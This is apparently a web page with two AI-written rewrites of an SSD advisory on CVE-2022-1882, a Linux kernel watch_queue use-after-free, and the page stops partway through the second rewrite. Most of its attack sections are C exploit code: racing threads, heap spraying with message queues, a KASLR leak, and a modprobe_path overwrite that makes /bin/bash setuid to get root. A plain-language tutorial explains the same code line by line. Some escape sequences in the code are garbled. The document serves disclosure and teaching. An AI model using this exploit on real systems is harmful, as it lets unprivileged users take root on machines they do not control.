Skip to content
Race condition Write-up Advanced

SSD Advisory – Linux CONFIG_WATCH_QUEUE LPE

A use-after-free flaw in the Linux kernel's watch_queue pipe notification handling allows a local attacker to race the freeing and reuse of a pipe object, potentially escalating privileges to root. The report provides a proof-of-concept that triggers the race and an exploit that achieves arbitrary code execution with kernel privileges.

- Follow

Published on ssd-disclosure.com

A vulnerability in the way Linux handles the CONFIGWATCHQUEUE allows local attackers to reach a race condition and use this to elevate their privileges to root.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

This write-up covers a local privilege escalation (LPE) in the Linux kernel's watch_queue functionality, reachable through the notification pipe interface. Notification pipes are ordinary pipes created with the O_NOTIFICATION_PIPE flag; a process can attach a watch to such a pipe (for example on a keyring key) and the kernel then posts notifications about watched objects into the pipe. The advisory describes a use-after-free in this machinery: a pointer used by the notification path can be freed before it is accessed or freed again, in the add_watch_to_object() and remove_watch_from_object() functions. The flaw is tracked as CVE-2022-1882 and was reported to the SSD Secure Disclosure program by Selim Enes Karaduman (@enesdex).

The affected version listed in the advisory is Ubuntu 20.04.x Desktop, kernel 5.13.0-44-generic. The advisory states that a local attacker can reach a race condition and use it to elevate privileges to root, and that the flaw allows a local user to crash the system or potentially escalate privileges.

Setup

The attack is entirely local: no account beyond a normal local user is described, and the only precondition stated is a kernel built with the vulnerable watch_queue code (the advisory names the Ubuntu 20.04.x Desktop 5.13.0-44-generic build). The proof of concept and the exploit are C programs that use raw syscalls (pipe2, add_key, keyctl, msgsnd, msgrcv, ioctl) and pin their racing threads to specific CPUs with sched_setaffinity.

Two constants recur throughout the code:

C
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32

O_NOTIFICATION_PIPE is the flag passed to pipe2() to create a notification pipe, and KEYCTL_WATCH_KEY is the keyctl command used to attach a watch on a key to that pipe.

Finding it

The advisory's analysis is short and direct: because of the way watch_queue works, a pointer that is used may be freed before it is accessed, or freed again, inside add_watch_to_object() and remove_watch_from_object(). That is a use-after-free, and the advisory frames it as reachable by a local attacker and exploitable to execute arbitrary code with system (root) privileges. The summary describes the same bug from the pipe side: a use-after-free in the kernel's pipes functionality in how a user performs manipulations with the pipe post_one_notification() after free_pipe_info() has already been called.

The researcher's approach is to race two threads that repeatedly create notification pipes, add a key, attach a watch to the pipe, and close the descriptors, so that the pipe object is freed while the notification path still holds a reference to it.

Exploitation

Step 1: Triggering the race with the proof of concept

The proof of concept forks two processes, each pinned to a different CPU, and both run the same loop:

C
void *func0(){

		cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(1, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);

		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

func1() is identical except that it pins itself to CPU 0 instead of CPU 1. Each iteration creates a notification pipe, adds a user key named zzz with 96 bytes of payload from the global data array, attaches a watch on that key to the pipe's read end, and then closes the descriptors. Running this on two CPUs at once is what drives the race between the watch bookkeeping and the pipe teardown.

The main() function prepares the key payload and starts the two racers:

C
int fpid1,fpid2;
int main(void){

	printf("[+] Main process PID: %dn",getpid());

	uint64_t pipe_obj = 0xffff888100886000 + 0x30;
	//data[2] = 0x4141414141;
	data[3] = 0x6161616161; // wqueue->pipe
	data[5] = 0x7777777788888888;

	int fpid1 = fork();
	if (!fpid1) {
		func0();
	}
	printf("[+] Racer 1 PID: %dn",fpid1);
	fpid2 = fork();
	if (!fpid2)
	{
		func1();
	}

	printf("[+] Racer 2 PID: %dn",fpid2);
	usleep(500000);
	//sleep(1);
	kill(fpid1,SIGSEGV);
	kill(fpid2,SIGSEGV);
	return 0;
}

The code sets data[3] to 0x6161616161, commented wqueue->pipe, and data[5] to a marker value. The parent lets the racers run for 500 ms and then kills both with SIGSEGV. This proof of concept demonstrates the race; the full exploit below turns it into a controlled primitive.

Step 2: Initialisation and heap shaping

The exploit begins with two offsets that must be supplied by the operator, because they depend on the target kernel build:

C
// CHANGE THESE
uint64_t off_watch_queue_pipe_buf_ops = 0;
uint64_t off_modprobe_path = 0;
//////////////

init() refuses to run if either is zero:

C
if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){
	puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!");
	exit(-1);
}

It then allocates SPRAY (1000) message buffers of size 4096-48+1024-8, fills them with 'A', initialises two barriers for two threads, and creates 1000 private message queues:

C
for (size_t i = 0; i < SPRAY; i++)
{
	data[i] = malloc(sizeof(struct msg_buf));
	data[i]->mtype = i + 1;
	memset(data[i]->mtext,'A',4096-48+1024-8);
}

memset(mem,0,sizeof(mem));

pthread_barrier_init(&barrier,0,2);

pthread_barrier_init(&barrier2,0,2);

for (int i = 0; i < SPRAY; i++){
	msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

Step 3: Racing for an out-of-bounds read

Stage 2 starts two threads. func0() runs on CPU 1 and performs the notification pipe setup, then waits on the barriers and closes the descriptors, after which it sprays messages and looks for an out-of-bounds read:

C
while(1){
	syscall(__NR_pipe2, pipefd, 0x80);
	key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
    	syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0);
	syscall(__NR_ioctl, pipefd[1], 0x5760, 1);
	syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
	pthread_barrier_wait(&barrier2);
	pthread_barrier_wait(&barrier);
	syscall(__NR_close,pipefd);
	syscall(__NR_close,pipefd[0]);
	syscall(__NR_close,pipefd[1]);

for (int i = 0; i < SPRAY; i++){
	syscall(__NR_msgsnd,msqid[i],data[i],64-48,0);

}
for (size_t i = 0; i < SPRAY; i++){
		byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
		if (byte > 0x10){

			memcpy(&next_msg,mem+40,8);

			printf("[+] oob msg id: %dn",next_msg);
			next_msg--;
			oob_msg = i;
			stop = 1;
			pthread_exit(&ret);
		}
	}

	for (size_t i = 0; i < SPRAY; i++){
		msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR);
	}
}

func1() runs on CPU 0, waits on the same barriers, and adds 50 keys per iteration to churn the keyring heap while the other thread is tearing down the pipe:

C
while(1){
	pthread_barrier_wait(&barrier2);
	pthread_barrier_wait(&barrier);

	for (size_t i = 0; i < 50; i++){
		syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
	}

}

The ioctl with request 0x5760 is issued on the pipe's write end. The main thread waits for stop and validates the result:

C
while(1){
	if (stop)
	{
		if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"xffxff",2)  && !memcmp(mem+24+6,"xffxff",2)){
			pthread_cancel(th1);
			break;
		}
		puts(MSG_ERR);
		exit(-1);
	}

}

If the heap layout is not as expected, the exploit aborts with the message that it was killed to prevent breaking the kernel heap layout and should be run again.

Step 4: Building a fake object and a target object

Stage 3 sends a large message into the queue identified by the leaked id, then re-reads the out-of-bounds message to recover a pointer:

C
msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0);

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

if (memcmp(mem+24+6,"xffxff",2) != 0)
{
	puts(MSG_ERR);
	exit(-1);
}

memcpy(&fake_obj,mem+24,8);
printf("[+] fake object: %#lxn",fake_obj);

Stage 4 drains the other queues, frees and re-sends messages around the leaked id, and reads the out-of-bounds message again to obtain a second pointer, the target object:

C
msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
for (size_t i = 0; i < next_msg; i++)
{
	msgsnd(msqid[i],data[i],64-48,0);
}
for (size_t i = next_msg + 1; i < SPRAY; i++)
{
	msgsnd(msqid[i],data[i],64-48,0);
}

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

memcpy(&sec_next_msg,mem+40,8);
sec_next_msg--;
printf("[+] reallocated secondary msg id: %dn",sec_next_msg);

msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0);
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

if (memcmp(mem+24+6,"xffxff",2) != 0)
{
	puts(MSG_ERR);
	exit(-1);
}
memcpy(&target_obj,mem+24,8);
printf("[+] target obj: %#lxn",target_obj);

At this point the exploit has stored fake_obj and target_obj.

Step 5: Bypassing KASLR

Stage 5 sprays notification pipes and logon keys with a fscrypt: description, posts notifications, and reads the out-of-bounds message to leak watch_queue_pipe_buf_ops:

C
for (size_t i = 0; i < SPRAY/2; i++){
	syscall(__NR_pipe2, pipe_spray[i], 0x80);

	sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
	key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
	syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0);

}

msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
usleep(500000);
for (size_t i = 0; i < SPRAY/2; i++){
	syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1);
}

for (size_t i = 0; i < SPRAY/2; i++){
	sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
	syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
}

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
memcpy(&watch_queue_pipe_buf_ops,mem+40,8);

if (memcmp(mem+40+6,"xffxff",2) != 0){
	puts(MSG_ERR);
	exit(-1);
}

kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops;
modprobe_path = kbase + off_modprobe_path;

printf("[+] watch_queue_pipe_buf_ops: %#lxn",watch_queue_pipe_buf_ops);
printf("[+] kbase: %#lxn",kbase);
printf("[+] modprobe_path: %#lxn",modprobe_path);

The sprayed pipes are then closed.

Step 6: Arbitrary free and overwriting modprobe_path

arb_free() prepares a fake pipe object in the message payloads. The code sets index 19 to fake_obj+0x8, index 10 to 0x1, index 11 to 0x0000000100000000, and writes the target pointer minus 8 at offset 4048+64-8 of each message:

C
memset(&pipe_obj,0,sizeof(pipe_obj));

pipe_obj[19] = fake_obj+0x8;
pipe_obj[10] = 0x1;
pipe_obj[11] = 0x0000000100000000;

uint64_t tmp = target_obj-8;
for (size_t i = 0; i < SPRAY; i++)
{
	memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj));
	memset(data[i]->mtext+4048,0x45,1024);
	memcpy(data[i]->mtext+4048+64-8,&tmp,8);
}

It then starts two more racers (func2() and func3(), the same notification pipe loop as before) with a key payload whose index 3 is fake_obj+0x30 and index 5 is the marker 0x7777777788888888:

C
data_key[3] = fake_obj+0x30;
data_key[5] = 0x7777777788888888;

fpid1 = fork();
if (!fpid1) {
	func2();
}
printf("[+] Racer 1 PID: %dn",fpid1);
fpid2 = fork();
if (!fpid2)
{
	func3();
}

printf("[+] Racer 2 PID: %dn",fpid2);

usleep(500000);
kill(fpid1,SIGSEGV);
kill(fpid2,SIGSEGV);

After the racers are killed, a fake message is built with modprobe_path-8 in its first slot and the string /tmp/xx in the next:

C
uint64_t fake_msg[48+8];
memset(&fake_msg,0,sizeof(fake_msg));
fake_msg[0] = modprobe_path-8;
memcpy(&fake_msg[1],"/tmp/xx",8);
fake_msg[2] = 0x100;
fake_msg[3] = 0x3d0;

for (size_t i = 0; i < SPRAY; i++){
	memset(data[i]->mtext+4048,0x47,1024);
	memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg));
}

for (size_t i = 0; i < SPRAY; i++){
	if (i == target_obj_idx)
	{
		continue;
	}
	msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
	msgsnd(msqid[i],data[i],4096-48+1024-8-64,0);

}

if (!fork())
{
	msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR);
}

sleep(2);

The child process performs a receive on the target queue with message type 0x100.

Step 7: Getting root

The exploit creates a file with an invalid executable header and a script at /tmp/xx that makes /bin/bash setuid:

C
char code[] = "xffxffxffxff";
int fd1 = open("/tmp/abc",O_CREAT | O_RDWR);
chmod("/tmp/abc",0777);
write(fd1,code,sizeof(code) - 1);

char code2[] = "#!/bin/shnchmod u+s /bin/bashn";
int fd2 = open("/tmp/xx",O_CREAT | O_RDWR);
chmod("/tmp/xx",0777);
write(fd2,code2,sizeof(code2));
close(fd1);
close(fd2);

system("/tmp/abc");
unlink("/tmp/abc");
unlink("/tmp/xx");
system("/bin/bash -p");

The exploit writes an invalid file to /tmp/abc and a script to /tmp/xx, runs /tmp/abc, removes both files and runs /bin/bash -p. The exploit then removes both temporary files.

Root cause

The bug is a use-after-free in the watch_queue pipe notification path. The advisory states that a pointer used by add_watch_to_object() and remove_watch_from_object() may be freed before it is accessed or freed again, and that post_one_notification() can operate on a pipe after free_pipe_info() has already been called.

Impact

The advisory describes the impact as a local user being able to crash the system or potentially escalate privileges to root. The exploit is written to escalate to a root shell on the listed Ubuntu 20.04.x Desktop 5.13.0-44-generic kernel. The attack requires local code execution as an unprivileged user and a vulnerable kernel build; the exploit also needs the two kernel offsets for the target build to be supplied by the operator.

Fix

The Linux kernel team released a patch, referenced in the advisory at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=[redacted]. The advisory references that patch.

Variants to test

  1. Run the proof of concept on other kernels built with CONFIG_WATCH_QUEUE and a notification pipe interface, such as other Ubuntu, Debian or Fedora releases. A positive result is a kernel crash or a KASAN report showing a use-after-free in the watch queue or pipe notification code.
  2. Vary the number of racing threads and their CPU affinity to widen the race window. A positive result is the out-of-bounds read being detected more reliably, shown by the exploit printing the leaked message id.
  3. Change the key type and payload size used in the watch setup (the exploit uses user keys with 96-byte payloads and logon keys with 512-byte payloads). A positive result is a stable leak of a kernel pointer with the expected 0xff 0xff high bytes.
  4. Test the modprobe_path overwrite technique against kernels with different modprobe_path offsets. A positive result is the helper script being executed and /bin/bash gaining the setuid bit.
  5. Try the same race against other pipe notification consumers, such as watch queues attached to different object types. A positive result is a use-after-free report in the corresponding watch or pipe teardown path.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

A security researcher found a bug in the Linux kernel, the core part of the operating system that sits between programs and the hardware. The bug can let an ordinary user on a machine, someone with no special rights, potentially escalate privileges to the most powerful user on the system, called root. Root can do anything: read every file, install software, change other users' passwords.

The bug lives in a feature called watch_queue. A watch queue is a way for a program to say to the kernel: keep an eye on this thing for me, and tell me when something happens to it. A pipe is a channel that carries data from one place to another, like a tube; one end is for writing, the other for reading.

The problem is a timing bug. If one part of the kernel is still using a piece of memory while another part has already thrown that memory away, the first part ends up reading or writing memory that no longer belongs to it. This class of bug is called a use-after-free: the memory was freed, and then it was used.

The bug is tracked as CVE-2022-1882. CVE stands for Common Vulnerabilities and Exposures: a public catalogue where each known security flaw gets a permanent ID so people can talk about it unambiguously. It was reported to the SSD Secure Disclosure program by Selim Enes Karaduman (@enesdex).

The affected version named in the advisory is Ubuntu 20.04.x Desktop running kernel 5.13.0-44-generic. Ubuntu is a popular Linux distribution; 20.04 is a release number, and 5.13.0-44-generic identifies the exact kernel build. The advisory says a local user can crash the system or potentially escalate privileges to root.

Setup

The attack is entirely local. You need to be able to run a program on the machine as a normal user; nothing else is described. The only precondition stated is a kernel built with the vulnerable watch_queue code, and the advisory names the Ubuntu 20.04.x Desktop 5.13.0-44-generic build.

The proof of concept and the exploit are C programs. C is a programming language often used for low-level work like this. They talk to the kernel through syscalls, which are the direct requests a program makes to the kernel, for example to create a pipe or add a key. They also pin their racing threads to specific CPUs with sched_setaffinity. A thread is one stream of execution inside a program; a program can run several at once. Pinning a thread to a CPU means telling the operating system to always run that thread on that particular processor core, which makes timing more predictable.

Two constants appear throughout the code:

C
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32

O_NOTIFICATION_PIPE is the flag passed to pipe2() to create a notification pipe. A flag is just a number that tells a function which variant of its behaviour you want. 0x80 is the number 128 written in hexadecimal, a base-16 way of writing numbers that programmers use because it maps neatly onto binary. KEYCTL_WATCH_KEY is the keyctl command used to attach a watch on a key to that pipe. A key, in kernel terms, is a small named blob of data the kernel stores for you; a keyring is a collection of such keys.

Finding it

The advisory's analysis is short and direct: because of the way watch_queue works, a pointer that is used may be freed before it is accessed, or freed again, inside add_watch_to_object() and remove_watch_from_object(). A pointer is a number that says where in memory something lives, like a street address. If the thing at that address has been demolished and something else built there, following the address gives you the wrong thing. That is a use-after-free, and the advisory frames it as reachable by a local attacker and exploitable to execute arbitrary code with system (root) privileges.

The summary describes the same bug from the pipe side: a use-after-free in the kernel's pipes functionality in how a user performs manipulations with the pipe post_one_notification() after free_pipe_info() has already been called. In plain terms, the notification-sending function can still act on a pipe after the pipe's cleanup function has already run.

The researcher's approach is to race two threads. Each thread repeatedly creates notification pipes, adds a key, attaches a watch to the pipe, and closes the descriptors. A descriptor is a small number a program uses to refer to an open resource, like a ticket number for an open file or pipe. The race is the whole trick: two things happening at almost the same moment, in an order the kernel did not expect.

Exploitation

Step 1: Triggering the race with the proof of concept

The proof of concept forks two processes. To fork is to make a copy of the current process; the copy runs independently. Each copy is pinned to a different CPU, and both run the same loop:

C
void *func0(){

		cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(1, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);

		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

Line by line:

  1. cpu_set_t mask = {0}; creates an empty set of CPUs, starting all zeroed out.
  2. CPU_ZERO(&mask); clears the set, so no CPU is selected yet.
  3. CPU_SET(1, &mask); puts CPU number 1 into the set.
  4. sched_setaffinity(0, sizeof(cpu_set_t), &mask); applies that set to the current thread. The 0 means "this thread". From now on this thread runs on CPU 1.
  5. int key; and int pipefd[2]; declare two variables: one to hold a key identifier, one to hold the two pipe descriptors (read end and write end).
  6. while(1){ starts an endless loop, so the race keeps being attempted.
  7. syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE); asks the kernel to create a notification pipe and store its two descriptors in pipefd.
  8. key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING); adds a key of type user (a general-purpose key holding arbitrary data), named zzz, with 96 bytes taken from the global data array, into the current user's keyring.
  9. syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0); attaches a watch on that key to the read end of the pipe, so notifications about the key will be delivered into the pipe.
  10. The three syscall(__NR_close, ...) lines close the descriptors, which tears the pipe down.

func1() is identical except that it pins itself to CPU 0 instead of CPU 1. Running this on two CPUs at once is what drives the race between the watch bookkeeping and the pipe teardown.

The main() function prepares the key payload and starts the two racers:

C
int fpid1,fpid2;
int main(void){

	printf("[+] Main process PID: %dn",getpid());

	uint64_t pipe_obj = 0xffff888100886000 + 0x30;
	//data[2] = 0x4141414141;
	data[3] = 0x6161616161; // wqueue->pipe
	data[5] = 0x7777777788888888;

	int fpid1 = fork();
	if (!fpid1) {
		func0();
	}
	printf("[+] Racer 1 PID: %dn",fpid1);
	fpid2 = fork();
	if (!fpid2)
	{
		func1();
	}

	printf("[+] Racer 2 PID: %dn",fpid2);
	usleep(500000);
	//sleep(1);
	kill(fpid1,SIGSEGV);
	kill(fpid2,SIGSEGV);
	return 0;
}

Line by line:

  1. printf("[+] Main process PID: %dn",getpid()); prints the process ID of the main program. A PID is the number the operating system uses to identify a running process.
  2. uint64_t pipe_obj = 0xffff888100886000 + 0x30; declares a 64-bit unsigned integer (a number that cannot be negative) and gives it a value. uint64_t is a fixed-width type, meaning it is always exactly 64 bits, which matters when you are handling memory addresses.
  3. //data[2] = 0x4141414141; is a commented-out line, so it does nothing.
  4. data[3] = 0x6161616161; // wqueue->pipe sets the fourth 64-bit slot of the global data array. The comment says this slot corresponds to a wqueue->pipe field, meaning the pointer to the pipe inside the watch queue structure.
  5. data[5] = 0x7777777788888888; sets the sixth slot to a distinctive marker value, useful for recognising the data later.
  6. int fpid1 = fork(); creates the first child process and stores its PID.
  7. if (!fpid1) { func0(); } runs only inside the child, because in the child fork() returns 0. The child enters the racing loop.
  8. printf("[+] Racer 1 PID: %dn",fpid1); prints the first racer's PID in the parent.
  9. The next block does the same for the second racer, which runs func1().
  10. usleep(500000); pauses the parent for 500,000 microseconds, which is half a second, letting the racers run.
  11. //sleep(1); is commented out.
  12. kill(fpid1,SIGSEGV); and kill(fpid2,SIGSEGV); send the SIGSEGV signal to both racers. A signal is a short message the operating system delivers to a process; SIGSEGV normally means "segmentation fault", an invalid memory access. Here it is used simply to stop the racers.

The code sets data[3] to 0x6161616161, commented wqueue->pipe, and data[5] to a marker value. The parent lets the racers run for 500 ms and then kills both with SIGSEGV. This proof of concept demonstrates the race; the full exploit below turns it into a controlled primitive. A primitive, in exploitation, is a small reliable capability, such as "read a kernel pointer" or "free a chosen address", that you build bigger attacks from.

Step 2: Initialisation and heap shaping

The exploit begins with two offsets that must be supplied by the operator, because they depend on the target kernel build:

C
// CHANGE THESE
uint64_t off_watch_queue_pipe_buf_ops = 0;
uint64_t off_modprobe_path = 0;
//////////////

An offset is a distance from a known starting point. Here, each offset is the distance from the start of the kernel's code in memory to a particular symbol. watch_queue_pipe_buf_ops is a table of function pointers used when handling notification pipe data; modprobe_path is a kernel variable holding the path of the program the kernel runs when it needs to load a module. A module is a piece of kernel code that can be loaded on demand. These offsets differ between kernel builds, so the operator has to fill them in.

init() refuses to run if either is zero:

C
if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){
	puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!");
	exit(-1);
}

This is a safety check: a zero offset would produce nonsense addresses, so the program stops with a clear message instead of misbehaving.

It then allocates SPRAY (1000) message buffers of size 4096-48+1024-8, fills them with 'A', initialises two barriers for two threads, and creates 1000 private message queues:

C
for (size_t i = 0; i < SPRAY; i++)
{
	data[i] = malloc(sizeof(struct msg_buf));
	data[i]->mtype = i + 1;
	memset(data[i]->mtext,'A',4096-48+1024-8);
}

memset(mem,0,sizeof(mem));

pthread_barrier_init(&barrier,0,2);

pthread_barrier_init(&barrier2,0,2);

for (int i = 0; i < SPRAY; i++){
	msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

Line by line:

  1. The loop runs 1000 times, once per spray buffer.
  2. data[i] = malloc(sizeof(struct msg_buf)); reserves memory for one message buffer. malloc is the standard C function for asking the system for memory. struct msg_buf is a C structure, a bundle of named fields grouped together.
  3. data[i]->mtype = i + 1; sets the message type field. System V message queues, the kernel feature used here, tag each message with a type number so the receiver can pick which message to read.
  4. memset(data[i]->mtext,'A',4096-48+1024-8); fills the message body with the letter 'A'. The size expression is arithmetic: 4096 minus 48 plus 1024 minus 8. These numbers are chosen to match kernel object sizes so the spray lands in the right place.
  5. memset(mem,0,sizeof(mem)); zeroes a scratch buffer called mem.
  6. pthread_barrier_init(&barrier,0,2); and the same for barrier2 set up two barriers that require two threads to arrive. A barrier is a meeting point: each thread waits until the required number have arrived, then all continue together. This is how the exploit lines up the two threads so their actions happen at the same moment.
  7. The final loop creates 1000 message queues with msgget. IPC_PRIVATE means a fresh private queue, and 0666 | IPC_CREAT sets permissions and says to create it if it does not exist. The | is bitwise OR, combining flags.

Spraying means allocating many copies of something so that at least one lands in the memory slot you care about.

Step 3: Racing for an out-of-bounds read

Stage 2 starts two threads. func0() runs on CPU 1 and performs the notification pipe setup, then waits on the barriers and closes the descriptors, after which it sprays messages and looks for an out-of-bounds read:

C
while(1){
	syscall(__NR_pipe2, pipefd, 0x80);
	key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
    	syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0);
	syscall(__NR_ioctl, pipefd[1], 0x5760, 1);
	syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
	pthread_barrier_wait(&barrier2);
	pthread_barrier_wait(&barrier);
	syscall(__NR_close,pipefd);
	syscall(__NR_close,pipefd[0]);
	syscall(__NR_close,pipefd[1]);

for (int i = 0; i < SPRAY; i++){
	syscall(__NR_msgsnd,msqid[i],data[i],64-48,0);

}
for (size_t i = 0; i < SPRAY; i++){
		byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
		if (byte > 0x10){

			memcpy(&next_msg,mem+40,8);

			printf("[+] oob msg id: %dn",next_msg);
			next_msg--;
			oob_msg = i;
			stop = 1;
			pthread_exit(&ret);
		}
	}

	for (size_t i = 0; i < SPRAY; i++){
		msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR);
	}
}

Line by line:

  1. syscall(__NR_pipe2, pipefd, 0x80); creates a notification pipe. 0x80 is the same flag as O_NOTIFICATION_PIPE.
  2. syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING); adds a user key named aaa with 128 bytes of "A" into the user keyring.
  3. syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0); attaches a watch on that key to the pipe's read end. 0x20 is 32, the same value as KEYCTL_WATCH_KEY.
  4. syscall(__NR_ioctl, pipefd[1], 0x5760, 1); sends an ioctl to the pipe's write end. ioctl is a general-purpose "control" call for devices and special files; request 0x5760 is what posts a notification into the pipe.
  5. syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING); adds another key, churning the keyring allocations.
  6. pthread_barrier_wait(&barrier2); and pthread_barrier_wait(&barrier); make this thread wait for its partner at both barriers, so the two threads act in lockstep.
  7. The three close calls tear down the pipe.
  8. The first inner loop sends a small message (size 64-48) into each of the 1000 queues with msgsnd. msgsnd is the send function for message queues.
  9. The second inner loop reads each queue with msgrcv. The flags matter: IPC_NOWAIT means do not block if nothing is there, MSG_NOERROR means truncate instead of erroring if the message is too long, and MSG_COPY means read a copy without removing the message. The return value is stored in byte.
  10. if (byte > 0x10){ checks whether more bytes came back than expected. 0x10 is 16. If the kernel returned more than 16 bytes, something read past the intended boundary, which is the out-of-bounds read. Out-of-bounds means reading outside the area you were supposed to read.
  11. memcpy(&next_msg,mem+40,8); copies 8 bytes from offset 40 of the returned data into next_msg. Those bytes are interpreted as the id of the next message.
  12. printf("[+] oob msg id: %dn",next_msg); prints it.
  13. next_msg--; subtracts one, because message types were set to i + 1 earlier, so the type is one more than the array index.
  14. oob_msg = i; remembers which queue produced the out-of-bounds read.
  15. stop = 1; tells the main thread that the race succeeded.
  16. pthread_exit(&ret); ends this thread.
  17. The final loop drains the queues with msgrcv, using message type i+1 to pick the right message.

func1() runs on CPU 0, waits on the same barriers, and adds 50 keys per iteration to churn the keyring heap while the other thread is tearing down the pipe:

C
while(1){
	pthread_barrier_wait(&barrier2);
	pthread_barrier_wait(&barrier);

	for (size_t i = 0; i < 50; i++){
		syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
	}

}

The heap is the pool of memory the kernel hands out dynamically; by churning it, the attacker makes it more likely that a freed pipe object gets replaced by something the attacker controls.

The ioctl with request 0x5760 is issued on the pipe's write end. The main thread waits for stop and validates the result:

C
while(1){
	if (stop)
	{
		if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"xffxff",2)  && !memcmp(mem+24+6,"xffxff",2)){
			pthread_cancel(th1);
			break;
		}
		puts(MSG_ERR);
		exit(-1);
	}

}

Line by line:

  1. The loop spins until stop becomes non-zero.
  2. if (next_msg < 1000 && next_msg != 0 ...) checks that the leaked id is in range and not zero.
  3. !memcmp(mem+32+6,"xffxff",2) and !memcmp(mem+24+6,"xffxff",2) compare two bytes at offsets 38 and 30 with the byte pattern 0xff 0xff. memcmp returns 0 when the bytes match, so the ! turns that into "true when they match". Kernel addresses on this architecture typically start with bytes like 0xff 0xff, so this is a sanity check that the leaked values really look like kernel pointers.
  4. pthread_cancel(th1); stops the second thread, and break; leaves the loop.
  5. If the check fails, puts(MSG_ERR); prints the error and exit(-1); quits.

If the heap layout is not as expected, the exploit aborts with the message that it was killed to prevent breaking the kernel heap layout and should be run again.

Step 4: Building a fake object and a target object

Stage 3 sends a large message into the queue identified by the leaked id, then re-reads the out-of-bounds message to recover a pointer:

C
msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0);

msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

if (memcmp(mem+24+6,"xffxff",2) != 0)
{
